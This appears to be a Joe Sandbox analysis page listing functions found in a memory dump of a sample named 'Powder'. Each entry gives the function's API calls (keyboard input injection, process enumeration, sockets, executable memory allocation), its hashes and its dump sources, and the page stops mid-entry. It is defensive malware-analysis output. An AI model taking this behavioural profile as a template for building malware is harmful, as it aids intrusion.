Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5be552da420a3cc11866f7ab7bcc4b8a0561e1cd0687b6d0b516e7d173d88c90
Instruction ID: abd009d6c982df89efaef6e6f9c721d96782f4fcc2a82db7c81643bee0566a04
Opcode Fuzzy Hash: 5be552da420a3cc11866f7ab7bcc4b8a0561e1cd0687b6d0b516e7d173d88c90
Instruction Fuzzy Hash: CEC17C74A00216EFDB14CF98C984EAEB7B5FF48705B109998E845FB251DB31ED85CBA0

Function 00E7E713 Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00E7E7A7
CharLowerBuffW.USER32(?,?), ref: 00E7E7EA

Part of subcall function 00E7DE8E: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00E7DEAE

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00E7E9EA
_memmove.LIBCMT ref: 00E7E9FD

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: c952d04a328256c03d37009a13858821412e658fe65aad9210426c7a273887ca
Instruction ID: e106f8dca7357138bcf676a722cd1ae121c04181e995c91d59d415b8a576401a
Opcode Fuzzy Hash: c952d04a328256c03d37009a13858821412e658fe65aad9210426c7a273887ca
Instruction Fuzzy Hash: A1C17C71608301CFC714DF28C48096ABBE4FF89718F1499AEF999AB351D731E946CB82

Function 00E7877D Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00E787AD
CoUninitialize.OLE32 ref: 00E787B8

Part of subcall function 00E8DF09: CoCreateInstance.OLE32(00000018,00000000,00000005,00000028,?,?,?,?,?,00000000,00000000,00000000,?,00E78A0E,?,00000000), ref: 00E8DF71

VariantInit.OLEAUT32(?), ref: 00E787C3
VariantClear.OLEAUT32(?), ref: 00E78A94

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 70272c61b2c8e30caac4bddc3157b3996a69b8df917bf0c7b05dcb552614bdb0
Instruction ID: 7acea88ff4cb1d7833b147ac5ab5377270f96732c5bc30602cdf7294ebb27b1a
Opcode Fuzzy Hash: 70272c61b2c8e30caac4bddc3157b3996a69b8df917bf0c7b05dcb552614bdb0
Instruction Fuzzy Hash: 6AA18BB5244B019FD700DF24C585B2AB7E4BF98314F149849FA99AB3E2CB30ED41CB92

Function 00E5814E Relevance: 6.2, APIs: 4, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00E93C4C,?), ref: 00E58308
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00E93C4C,?), ref: 00E58320
CLSIDFromProgID.OLE32(?,?,00000000,00E90988,000000FF,?,00000000,00000800,00000000,?,00E93C4C,?), ref: 00E58345
_memcmp.LIBCMT ref: 00E58366

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 4c0fbe96214af31a48f1e9b55a23ee76db512a633c0da44bd965774ae4332aae
Instruction ID: 273cfabad79751f53ccde7649a9ed915b1328ee0ef072cfbb834919fab78b687
Opcode Fuzzy Hash: 4c0fbe96214af31a48f1e9b55a23ee76db512a633c0da44bd965774ae4332aae
Instruction Fuzzy Hash: C7812C75A00109EFCB04DF94C984EEEB7B9FF89315F104559E905BB250DB71AE09CB60

Function 00E5749B Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00E574AC
SysAllocString.OLEAUT32(00000000), ref: 00E57555
VariantCopy.OLEAUT32 ref: 00E57584
VariantClear.OLEAUT32(?), ref: 00E575AB

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 0ea5948dfa199799d0e015d4abdcbe9a18cd9d5035412d9de063be5eb6d4dc9b
Instruction ID: 3f9e9dd6f135c50143bca0c86b836bd09bbd073d00180d2637a1cf569bcacb78
Opcode Fuzzy Hash: 0ea5948dfa199799d0e015d4abdcbe9a18cd9d5035412d9de063be5eb6d4dc9b
Instruction Fuzzy Hash: 9051FC306087019FD7209F79E855A6DB3E8AF44315B20BC1FE9D6F72D2EB7088988B11

Function 00E7F4F6 Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00E7F526
Process32FirstW.KERNEL32(00000000,?), ref: 00E7F534

Part of subcall function 00E11A36: _memmove.LIBCMT ref: 00E11A77

Process32NextW.KERNEL32(00000000,?), ref: 00E7F5F4
CloseHandle.KERNEL32(00000000,?,?,?), ref: 00E7F603

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: 39645b0a7f9e0eecbf643c6ebd99cfe5e6d6a96848032b17c6a92c60253f7f20
Instruction ID: 822f6fd605a78297ee8ba68380053014260d63189200dc8e16930b50396222a2
Opcode Fuzzy Hash: 39645b0a7f9e0eecbf643c6ebd99cfe5e6d6a96848032b17c6a92c60253f7f20
Instruction Fuzzy Hash: 16518FB11043119FD310EF20DC81EABB7E8EF94700F50592DF595A72A1EB709948CB92

Function 00E2492A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E249C0
__flush.LIBCMT ref: 00E249E0
__write.LIBCMT ref: 00E24A13
__flsbuf.LIBCMT ref: 00E24A41

Part of subcall function 00E28D58: __getptd_noexit.LIBCMT ref: 00E28D58

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction ID: 163f35cc74143bf9ed4b7d779e8a29fe6c36027e0a8d9a5fc58a220196b62d57
Opcode Fuzzy Hash: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction Fuzzy Hash: C541DBF170072A9BDF29CF69E8809AF77A5AF80354B24913DE455E76C0E771DD808B44

Function 00E5A638 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00E5A68A
__itow.LIBCMT ref: 00E5A6BB

Part of subcall function 00E5A90B: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00E5A976

SendMessageW.USER32(?,0000110A,00000001,?), ref: 00E5A724
__itow.LIBCMT ref: 00E5A77B

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: 8b9d2addc0de7f5e767c579916ce31d55b64c71cc7ee571217efc96e376ab857
Instruction ID: 744f1a64165251b3968118e0ad3934fcaace29e9057365f209c4a50e0a1ce01c
Opcode Fuzzy Hash: 8b9d2addc0de7f5e767c579916ce31d55b64c71cc7ee571217efc96e376ab857
Instruction Fuzzy Hash: AE418474A00209AFDF11DF54C845BEE7BF9EF48755F04146AFD05B3291DB709988CAA2

Function 00E77095 Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00E770BC
WSAGetLastError.WSOCK32(00000000), ref: 00E770CC

Part of subcall function 00E04D37: __itow.LIBCMT ref: 00E04D62
Part of subcall function 00E04D37: __swprintf.LIBCMT ref: 00E04DAC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00E77130
WSAGetLastError.WSOCK32(00000000), ref: 00E7713C

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 18f1953358193e50186cfcb9998662256f574d66b1fb50c32088f9f147e5751c
Instruction ID: fe790cf8417b5d27f984e17254d2d948366a0bebd00b3d2ffae91cd91b7311b6
Opcode Fuzzy Hash: 18f1953358193e50186cfcb9998662256f574d66b1fb50c32088f9f147e5751c
Instruction Fuzzy Hash: 4F41ADF1740200AFEB20AF24DD86F6A77E8AF04B14F549459FA59BB3D2DA709D408B91

Function 00E76B05 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,00E90980), ref: 00E76B92
_strlen.LIBCMT ref: 00E76BC4

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 69b8bff804a8c5544af30bf712d2f2b195d6964992e54e701f3bf1cd76e5ff03
Instruction ID: 494c5d174707d817adf035cf8d396f9200a7a380ec990566182558ea53ca03de
Opcode Fuzzy Hash: 69b8bff804a8c5544af30bf712d2f2b195d6964992e54e701f3bf1cd76e5ff03
Instruction Fuzzy Hash: 9741F171600508AFCB14EBA4DD81EEEB7E9EF54314F10A155F81ABB2D2DB30AD41CB90

Function 00E88E76 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00E88F03

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 7a8b3cde11927c22afee014979061720e97c6a9f8982feed3f826d0618410e14
Instruction ID: 00279482531cd74146bf1a4388a8a039e27680332116b97654dbeb021b44f661
Opcode Fuzzy Hash: 7a8b3cde11927c22afee014979061720e97c6a9f8982feed3f826d0618410e14
Instruction Fuzzy Hash: 5331CD3074010CAFEB34AA18CE49FA837A6AB05324F946512FF5DF61A1CF71E950CB51

Function 00E8B1A9 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00E8B1D2
GetWindowRect.USER32(?,?), ref: 00E8B248
PtInRect.USER32(?,?,00E8C6BC), ref: 00E8B258
MessageBeep.USER32(00000000), ref: 00E8B2C9

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 7b8eac4ec046c7ee82de0cfe0cb65132e4401de9775a1a255f0522c0b0814d34
Instruction ID: f9bc8b02fcdc7aab3a305e505da07f105089048bb664e0ed2ff80d32c6628c5b
Opcode Fuzzy Hash: 7b8eac4ec046c7ee82de0cfe0cb65132e4401de9775a1a255f0522c0b0814d34
Instruction Fuzzy Hash: 9541CD31A04119DFCB25EF99C884EAD7BF5FF49314F1894A9E96CAB261D331A805CF50

Function 00E612D5 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00E61326
SetKeyboardState.USER32(00000080,?,00000001), ref: 00E61342
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00E613A8
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00E613FA

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 0ff309edb923d6db9cb2bbe61c8f421016d3afb4732bd4f310b79ccf8dd48a4e
Instruction ID: 253daae32018c64c32a292ebd1cb23f7a48f9c9f69a71ccf7edadd0e5ccb6d1f
Opcode Fuzzy Hash: 0ff309edb923d6db9cb2bbe61c8f421016d3afb4732bd4f310b79ccf8dd48a4e
Instruction Fuzzy Hash: B8317E309C0218AEFF328B25AC057FE7BB9AB44394F0D529BE092727D1D3744D459B55

Function 00E61410 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00E61465
SetKeyboardState.USER32(00000080,?,00008000), ref: 00E61481
PostMessageW.USER32(00000000,00000101,00000000), ref: 00E614E0
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00E61532

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: ffa96fe3e93cb12ffe6a486270ef1f5639dc51bee3aea743449b67120e71b054
Instruction ID: 99f40d212a66993763c50b88bb3d9286d6d6936841715515b13c6af934278cf9
Opcode Fuzzy Hash: ffa96fe3e93cb12ffe6a486270ef1f5639dc51bee3aea743449b67120e71b054
Instruction Fuzzy Hash: D8317A30DC02185EFF368A65AC04BFABBA5AB84394F0C538BE0A1731D1C73489459B62

Function 00E363F5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00E3642B
__isleadbyte_l.LIBCMT ref: 00E36459
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00E36487
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00E364BD

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: f111ab4fb292798dc73ecdb20461e035296b6caac98effd68cbdd53466e1b584
Instruction ID: 13b92421e0ba1f558e7eef77254370a98acdf14788ed0772bdc465d0b91ba458
Opcode Fuzzy Hash: f111ab4fb292798dc73ecdb20461e035296b6caac98effd68cbdd53466e1b584
Instruction Fuzzy Hash: 6C31AD31A00256BFDB218F75CC49AAA7FF9FF41324F159069E874A71A1EB31E850DB90

Function 00E8552B Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00E8553F

Part of subcall function 00E63B34: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00E63B4E
Part of subcall function 00E63B34: GetCurrentThreadId.KERNEL32 ref: 00E63B55
Part of subcall function 00E63B34: AttachThreadInput.USER32(00000000,?,00E655C0), ref: 00E63B5C

GetCaretPos.USER32(?), ref: 00E85550
ClientToScreen.USER32(00000000,?), ref: 00E8558B
GetForegroundWindow.USER32 ref: 00E85591

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 16c1bc5d92e5be43b2a91e19b5e7c35223bde9b779f0c507ca71aeaaf542ac8c
Instruction ID: b4ebd30f07422cb772ac066b8af416ceccdf99384f1aa50d0f2e4cb053827371
Opcode Fuzzy Hash: 16c1bc5d92e5be43b2a91e19b5e7c35223bde9b779f0c507ca71aeaaf542ac8c
Instruction Fuzzy Hash: 73312EB1900108AFDB00EFB5DD85DEEB7F9EF94304F10506AE915F7281EA75AE448BA0

Function 00E8CB40 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E029E2: GetWindowLongW.USER32(?,000000EB), ref: 00E029F3

GetCursorPos.USER32(?), ref: 00E8CB7A
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00E3BCEC,?,?,?,?,?), ref: 00E8CB8F
GetCursorPos.USER32(?), ref: 00E8CBDC
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00E3BCEC,?,?,?), ref: 00E8CC16

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: fda913f0cba6b5f743a19cf9e18b31e485309a6bf8da23e1516684ce110c1520
Instruction ID: 722104d78c8ec66ad4590e5bf321598e76a2d5cf8d54afd83093cf649390b3f3
Opcode Fuzzy Hash: fda913f0cba6b5f743a19cf9e18b31e485309a6bf8da23e1516684ce110c1520
Instruction Fuzzy Hash: F231EE35600418AFCB259F59C849EFA7BF9EB4A310F5044AAF90DBB261C3319D51EFA0

Function 00E20BC0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 00E20BE2

Part of subcall function 00E1402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00E67E51,?,?,00000000), ref: 00E14041
Part of subcall function 00E1402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00E67E51,?,?,00000000,?,?), ref: 00E14065

_fprintf.LIBCMT ref: 00E20C19
OutputDebugStringW.KERNEL32(?), ref: 00E5694C

Part of subcall function 00E24CCA: _flsall.LIBCMT ref: 00E24CE3

__setmode.LIBCMT ref: 00E20C4E

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

